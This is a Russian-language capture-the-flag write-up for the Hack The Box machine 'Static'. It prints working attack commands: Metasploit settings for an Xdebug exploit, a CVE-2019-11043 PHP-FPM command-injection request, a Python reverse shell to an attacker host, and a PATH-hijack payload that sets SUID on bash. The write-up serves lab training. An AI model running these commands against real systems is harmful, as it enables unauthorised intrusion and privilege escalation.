Хакер - HTB Static. Захватываем сервер через VPN и дыру в Xdebug

https://t.me/hacker_frei

RalfHacker

Содержание статьи

• Разведка. Сканирование портов
• Точка входа
• GZIP fix
• TOTP
• Точка опоры
• Продвижение
• Локальное повышение привилегий

Для начала я покажу, как фик­сить «битый» архив GZIP; из него мы получим важ­ную информа­цию, затем под­берем одно­разо­вый пароль и получим дос­туп к хос­ту через VPN. Для повыше­ния при­виле­гий про­экс­плу­ати­руем уяз­вимость в Xdebug и най­дем ошиб­ки в слож­ной поль­зователь­ской прог­рамме. Все это — что­бы прой­ти слож­ную машину Static с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.246 static.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Мы наш­ли три откры­тых пор­та: 22 (служ­ба OpenSSH 7.9p1), 2222 (служ­ба OpenSSH 7.6p1) и 8080 (веб‑сер­вер Apache 2.4.38). Нач­нем с веба.

Справка: брутфорс учеток

Пос­коль­ку вна­чале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но машины с HTB поч­ти всег­да мож­но прой­ти по‑дру­гому. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

В резуль­татах ска­на отме­чено, что в кор­невом катало­ге сер­вера есть файл robots.txt. Этот файл исполь­зует­ся для того, что­бы поп­росить кра­уле­ры (нап­ример, Google, Яндекс и про­чие) не тро­гать какие‑то опре­делен­ные катало­ги.

К при­меру, ник­то не хочет, что­бы в поис­ковой выдаче появ­лялись стра­ницы авто­риза­ции адми­нис­тра­торов сай­та, фай­лы или пер­сональ­ная информа­ция со стра­ниц поль­зовате­лей и про­чие вещи в таком духе. Но у любой медали две сто­роны: зло­умыш­ленни­ки пер­вым делом прос­матри­вают этот файл, что­бы узнать о фай­лах и катало­гах, которые хочет спря­тать адми­нис­тра­тор сай­та. В нашем слу­чае есть два катало­га: vpn и .ftp_uploads.

На пер­вой стра­нице нас встре­чает самопис­ный сайт, а точ­нее, фор­ма авто­риза­ции. Во вто­ром катало­ге нет фай­ла index.html и зап­рет на прос­мотр на веб‑сер­вере тоже не задан, поэто­му мы можем видеть все его содер­жимое.

Ска­чива­ем дамп базы дан­ных и прос­матри­ваем сооб­щение.

Binary files are being corrupted during transfer!!! Check if are recoverable.

В сооб­щении ска­зано, что файл был пов­режден и его тре­бует­ся вос­ста­новить. Разар­хивиро­вать GZIP у меня тоже не выш­ло, поэто­му я отпра­вил­ся в Google за поис­ком ути­литы, спо­соб­ной решить эту проб­лему.

ТОЧКА ВХОДА

GZIP fix

По­искав на прос­торах GitHub, я нашел прог­рам­мку fixgz. Но перед исполь­зовани­ем ее нуж­но соб­рать из исходни­ков.

git clone https://github.com/yonjar/fixgz

cd fixgz

g++ fixgz.cpp

./a.out ../db.sql.gz fixed_db.sql.gz

gunzip fixed_db.sql.gz

Пос­ле исправ­ления архи­ва мы его рас­паковы­ваем и чита­ем дамп базы дан­ных. В дам­пе мы най­дем учет­ные дан­ные для авто­риза­ции: логин, хеш пароля и зачем‑то TOTP — одно­разо­вый пароль на осно­ве вре­мени.

У нас есть хеш, зна­чит, нуж­но попытать­ся его переб­рать. Но перед этим необ­ходимо узнать алго­ритм. Все воз­можные алго­рит­мы хеширо­вания для задан­ной пос­ледова­тель­нос­ти может подыс­кать ути­лита HashId.

Из всех пред­став­ленных алго­рит­мов наибо­лее популяр­ный, а зна­чит, и наибо­лее веро­ятный — SHA-1. Для него есть мно­го онлай­новых дек­рипто­ров с огромны­ми базами. Вос­поль­зуем­ся одним из них и получим очень прос­той пароль.

С учет­ными дан­ными admin:admin авто­ризу­емся на сай­те, который мы встре­тили пер­вым, и получим фор­му вво­да одно­разо­вого пароля. Таким обра­зом, на сай­те исполь­зует­ся двух­фактор­ная аутен­тифика­ция.

TOTP

TOTP (Time-based One-Time Password Algorithm) — алго­ритм соз­дания одно­разо­вых паролей для защищен­ной аутен­тифика­ции. Это алго­ритм односто­рон­ней аутен­тифика­ции, то есть сер­вер удос­товеря­ется в под­линнос­ти кли­ента. Глав­ное отли­чие TOTP от дру­гих подоб­ных алго­рит­мов — генера­ция пароля на осно­ве вре­мени. Обыч­но это не точ­ное вре­мя, а какой‑то его интервал (по умол­чанию 30 секунд).

Мож­но най­ти мно­го генера­торов ТОТP, как онлай­новых, так и реали­зован­ных в виде биб­лиотек для раз­ных язы­ков прог­рамми­рова­ния. Что дела­ет ТОТP безопас­ным — это TOTP-сек­рет, который мы, ско­рее все­го, и наш­ли в базе.

Ос­талось нас­тро­ить вре­мя, как на уда­лен­ном сер­вере. Узнать его мы можем из отве­та HTTP в заголов­ке Date. Пос­ле это­го выс­тавля­ем его у себя коман­дой sudo date -s "[содержимое заголовка Date]".

За­тем я исполь­зовал рас­ширение auth-helper для Firefox. Получен­ный OTP быс­тро встав­ляем в фор­му, и нам откры­вают­ся допол­нитель­ные воз­можнос­ти на сай­те.

Ви­дим спи­сок сер­веров и соот­ветс­тву­ющие IP-адре­са. Вот толь­ко сети эти нам недос­тупны. Так­же име­ется фор­ма вво­да для какого‑то генера­тора. Я ввел прос­тое сло­во и получил кон­фиг VPN.

От­кро­ем файл и пос­мотрим парамет­ры под­клю­чения. Так, в парамет­ре remote ука­зан сер­вер vpn.static.htb.

Пер­вым делом нуж­но добавить соот­ветс­тву­ющую запись в /etc/hosts:

10.10.10.246 static.htb vpn.static.htb

Те­перь поп­робу­ем под­клю­чить­ся по VPN.

Из логов мы видим, что авто­мати­чес­ки добавил­ся мар­шрут в сети 172.17.0.0/24 и 172.30.0.0/16. При этом дру­гие хос­ты рас­положе­ны в сети 172.20.0.0/16, поэто­му мы не смо­жем к ним обра­тить­ся. Тог­да я решил добавить мар­шрут в эту сеть самос­тоятель­но.

sudo ip route add 172.20.0.0/24 dev tun9

А затем обра­тим­ся к хос­ту WEB (172.20.0.10) через бра­узер. Вуаля! Вновь каталог с дос­тупным содер­жимым.

ТОЧКА ОПОРЫ

Стра­ница info.php на самом деле выпол­няет PHPINFO.

Здесь очень мно­го информа­ции, которую нуж­но тща­тель­но про­ана­лизи­ровать. Отсю­да мож­но узнать вер­сии всех зат­ронутых прог­рам­мных про­дук­тов, таких как OpenSSL, PDO_MYSQL, Phar. Высока веро­ятность, что один из них будет не обновлен и поэто­му уяз­вим. Так натыка­емся на Xdebug — средс­тво про­фили­рова­ния и отладки скрип­тов на PHP. Xdebug пос­тавля­ется как рас­ширение для PHP, поэто­му может дать нам выпол­нение про­изволь­ного кода. В базе Metasploit есть такой экс­пло­ит.

По умол­чанию Xdebug будет прос­лушивать порт 9000 на машине раз­работ­чика. Что­бы акти­виро­вать Xdebug, в GET- или POST-парамет­ре или в cookie дол­жен при­сутс­тво­вать параметр XDEBUG_SESSION=name.

Обыч­ная кон­фигура­ция Xdebug может выг­лядеть так: ini xdebug.remote_enable= true xdebug.remote_host= [IP]. В этом слу­чае IP-адрес раз­работ­чика зада­ется в кон­фигура­ции и поз­воля­ет толь­ко ука­зан­ному IP-адре­су исполь­зовать Xdebug. Одна­ко сущес­тву­ет опция кон­фигура­ции xdebug.remote_connect_back, и уста­нов­ка для нее зна­чения true отклю­чает нас­тро­енный IP-адрес xdebug.remote_host и поз­воля­ет под­клю­чить­ся обратно к любому хос­ту, который акти­виру­ет Xdebug. Таким обра­зом, любой под­клю­чив­ший­ся может выпол­нить про­изволь­ный код.

За­дадим необ­ходимые парамет­ры: URL-адрес, адрес тес­тиру­емо­го хос­та, а так­же локаль­ные хост и порт для обратно­го под­клю­чения наг­рузки.

use exploit/unix/http/xdebug_unauth_exec

set PATH /vpn/login.php

set RHOSTS 172.20.0.10

set RPORT 80

set LHOST tun9

set LPORT 443

run

И мы получа­ем сес­сию Meterpreter. Прос­матри­вая домаш­ний каталог, находим флаг поль­зовате­ля и понима­ем, что www-data — сис­темный поль­зователь с коман­дной обо­лоч­кой.

Дан­ное соеди­нение нес­табиль­но, и при­ходит­ся час­то под­клю­чать­ся заново. Так как это сис­темный поль­зователь, мы можем записать ключ SSH. Но при прос­мотре домаш­ней дирек­тории поль­зовате­ля находим уже сущес­тву­ющий при­ват­ный ключ id_rsa.

Сох­раня­ем при­ват­ный ключ на локаль­ный хост, наз­нача­ем ему необ­ходимые пра­ва коман­дой chmod 0600 id_rsa и под­клю­чаем­ся по SSH. Но на пор­те 22 у нас пот­ребу­ют пароль! Тог­да про­буем под­клю­чить­ся ко вто­рому SSH-пор­ту 2222 — и мы в сис­теме.

ПРОДВИЖЕНИЕ

Те­перь, ког­да мы получи­ли ста­биль­ный дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию, которая может помочь с повыше­нием при­виле­гий. Источни­ков информа­ции очень мно­го, и, что­бы не дер­жать их все в голове, были раз­работа­ны PEASS-скрип­ты, как для Windows, так и для Unix. Они про­верят самые уяз­вимые мес­та сис­темы и под­ска­жут, на что обра­тить вни­мание (выделят крас­ным цве­том). Заг­рузим дан­ный скрипт на хост с помощью SCP и выпол­ним:

scp -P2222 -i id_rsa ./linpeas.sh www-data@static.htb:/tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh

В выводе най­дем очень мало полез­ной информа­ции, в том чис­ле IP-адре­са и какой‑то пароль.

Об­наружен­ный допол­нитель­ный IP-адрес 192.168.254.3 обра­тил на себя вни­мание, так как на зах­вачен­ном хос­те исполь­зует­ся 192.168.254.2.

Тог­да я решил прос­каниро­вать най­ден­ный адрес и ата­ковать уже сер­висы на нем. Для удоб­ного и быс­тро­го ска­ниро­вания сна­чала заг­рузим на хост Nmap, а затем прой­дем­ся по всем пор­там.

scp -P2222 -i id_rsa ~/tools/linStaticbins/nmap www-data@static.htb:/tmp/nmap

./nmap --min-rate=2000 -p- 192.168.254.3

В ито­ге находим еще один веб. Для работы с уда­лен­ным хос­том через локаль­ный нам нуж­но тун­нелиро­вать тра­фик. Давай про­кинем дан­ный порт, то есть сде­лаем так, что­бы весь тра­фик, который про­ходит через опре­делен­ный порт локаль­ной машины, рет­ран­сли­ровал­ся на дан­ный порт целево­го хос­та. Дела­ем это с помощью стан­дар­тно­го SSH.

ssh -i id_rsa -N -L 8000:192.168.254.3:80 www-data@static.htb -p2222

Та­ким обра­зом, все зап­росы к пор­ту 8888 локаль­ного хос­та 127.0.0.1 будут пересы­лать­ся на порт 80 хос­та 192.168.254.3 через SSH-соеди­нение хос­та static.htb. Поп­робу­ем обра­тить­ся к сай­ту с локаль­ной машины. Для это­го выпол­ним зап­рос через бра­узер по адре­су http://127.0.0.1:8000/.

Тун­нель работа­ет, но вот толь­ко никако­го понят­ного сер­виса мы не получа­ем. При тес­тирова­нии такого веба всег­да сто­ит взгля­нуть на исполь­зуемые тех­нологии, получить которые мож­но ути­литой whatweb.

Из всей информа­ции наибо­лее инте­ресен заголо­вок X-Powered-By, по которо­му опре­делим вер­сию PHP FPM/7.1, что натал­кива­ет на мысль о поис­ке экс­пло­итов.

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты при помощи Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

Чу­до‑ути­лита searchsploit никаких записей не наш­ла, а вот Google зна­ет боль­ше.

Так, погуг­лив «exploit PHP-FPM», получа­ем мно­жес­тво упо­мина­ний CVE-2019-11043. Если крат­ко, то стро­ка 1140 в fpm_main.c содер­жит манипу­ляции с ука­зате­лями, которые пред­полага­ют, что у env_path_info есть пре­фикс, рав­ный пути к скрип­ту на PHP. Тем не менее код не про­веря­ет, выпол­няет­ся ли это, из‑за чего ста­новит­ся воз­можен дос­туп к невер­ному ука­зате­лю в перемен­ной path_info.

Зап­росив URL, офор­млен­ный опре­делен­ным обра­зом, ата­кующий может добить­ся сме­щения ука­зате­ля path_info на пер­вый байт струк­туры _fcgi_data_seg, а запись нуля в этот байт при­ведет к переме­щению ука­зате­ля char* pos на ранее иду­щую область памяти. Вызыва­емый сле­дом FCGI_PUTENV переза­пишет дан­ные в этой памяти зна­чени­ем, которое кон­тро­лиру­ет ата­кующий. Так мы можем ука­зать, к при­меру, на зна­чения дру­гих перемен­ных FastCGI. Записав свои дан­ные, ата­кующий может соз­дать фик­тивную перемен­ную PHP_VALUE, что при­ведет к выпол­нению про­изволь­ного кода.

Ра­бочий экс­пло­ит есть на GitHub. Пос­ле пер­вого запус­ка он сооб­щает нам, что ата­ка выпол­нена и мы можем переда­вать коман­ды через параметр a.

python3 main.py -u http://127.0.0.1:8000/index.php

curl 'http://127.0.0.1:8000/index.php?a=whoami'

Так как коман­ды выпол­няют­ся немед­ленно, кинем реверс‑шелл.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

Лис­тенер при­дет­ся откры­вать на «прок­си‑хос­те», поэто­му заг­рузим на него netcat.

scp -P2222 -i id_rsa ~/tools/linStaticbins/ncat www-data@static.htb:/tmp/ncat

chmod +x /tmp/ncat

/tmp/ncat

Пос­ле того как лис­тенер акти­виро­ван, переда­дим сле­дующий реверс‑шелл в качес­тве зна­чения парамет­ра a через бра­узер. Это поможет обой­тись без вся­ких кодиро­вок наг­рузки.

python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.2",4321));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

Поч­ти мгно­вен­но получим бэк­коннект.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

За­пус­каем через веб‑при­ложе­ние и про­буем най­ти еще что‑нибудь свя­зан­ное с ним.

find / -name *ersatool* 2>/dev/null

Мы наш­ли исходни­ки при­ложе­ния. Я ско­пиро­вал их и открыл в VS Code для более удоб­ного ана­лиза. Сра­зу пос­ле стар­та фун­кция main про­веря­ет аргу­мен­ты. Самая инте­рес­ная из команд — create. Она при­водит к вызову фун­кции createCN (стро­ки 253–254).

В этой фун­кции выпол­няет­ся зап­рос поля CN (стро­ки 99–102), а затем исполь­зует­ся rasyrsa для генери­рова­ния сер­тифика­та (стро­ки 94–96, 114–117). Вот толь­ко в при­ложе­нии кон­тек­ста работы прог­раммы меня­ется на при­виле­гиро­ван­ный (стро­ка 123) перед выпол­нени­ем фун­кции system (стро­ка 125).

Я решил прос­мотреть все дей­ствия, которые про­исхо­дят в сис­теме при генери­рова­нии сер­тифика­та. Проб­лема была лишь в заг­рузке фай­лов, так как в сис­теме нет ни curl, ни wget. Но есть Python! Так, на пер­вом «прок­си‑хос­те» я помес­тил файл с содер­жимым testtest и запус­тил веб‑сер­вер коман­дой python3 -m http.server 8000. А затем исполь­зовал сле­дующий скрипт для получе­ния это­го фай­ла.

python3 -c 'import urllib.request; response = urllib.request.urlopen("http://192.168.254.2:8000/test.sh"); data = response.read() ; text = data.decode("utf-8"); print(text)'

Те­перь заг­рузим на «прок­си‑хост» pspy — при­ложе­ние для монито­рин­га запус­каемых в сис­теме про­цес­сов.

scp -P2222 -i id_rsa ./pspy64 www-data@static.htb:/home/www-data/pspy64

За­тем закоди­руем его в Base64, что­бы не потерять никакие дан­ные при заг­рузке через Python.

base64 -w0 pspy64 > pspy64.b64

Сле­дом на целевом хос­те заг­рузим файл с закоди­рован­ным в Base64 содер­жимым, декоди­руем, дадим пра­ва на выпол­нение и запус­тим.

python3 -c 'import urllib.request; response = urllib.request.urlopen("http://192.168.254.2:8000/pspy64.b64"); data = response.read() ; text = data.decode("utf-8"); print(text)' > pspy64.b64

cat pspy64.b64 | base64 -d > pspy64

chmod +x pspy64

./pspy64

А теперь в дру­гом окне запус­тим тес­тиру­емое при­ложе­ние и соз­дадим сер­тификат.

Пос­ле окон­чания работы прос­мотрим логи pspy. Рас­смат­рива­ем каж­дую коман­ду, которая была выпол­нена во вре­мя работы тес­тиру­емо­го при­ложе­ния.

Сре­ди выпол­ненных прог­рамм обна­ружим запуск OpenSSL. Исполь­зован­ный спо­соб ее вызова уяз­вим, так как путь к исполня­емо­му фай­лу ука­зан не абсо­лют­ный. Таким обра­зом, в ход всту­пает перемен­ная сре­ды окру­жения PATH. Сис­тема будет искать файл openssl по поряд­ку в каж­дой дирек­тории, ука­зан­ной в этой перемен­ной.

Мы можем соз­дать файл с име­нем openssl, содер­жащий любые коман­ды. Мы добавим его каталог в перемен­ную PATH так, что­бы эта дирек­тория была пер­вой в спис­ке. Тог­да при вызове OpenSSL из нашего при­ложе­ния получим выпол­нение наших команд в при­виле­гиро­ван­ном кон­тек­сте!

В качес­тве выпол­няемой наг­рузки исполь­зуем уста­нов­ку бита SUID фай­лу коман­дной обо­лоч­ки bash.

echo '#!/bin/bash' > openssl

echo 'chmod u+s /bin/bash' >> openssl

chmod 777 openssl

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­тами.

Те­перь изме­ним перемен­ную PATH, ука­зав в ней текущую дирек­торию.

export PATH=/tmp/ralf:$PATH

Сге­нери­руем сер­тификат. Пос­ле чего про­верим, уста­нов­лен ли S-бит фай­лу bash.

По­лучи­лось! Теперь прос­то запус­тим bash.

python3 -c 'import pty; pty.spawn("/bin/bash")'

/bin/bash -p

Мы зах­ватили пол­ный кон­троль над машиной и заб­рали флаг рута.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei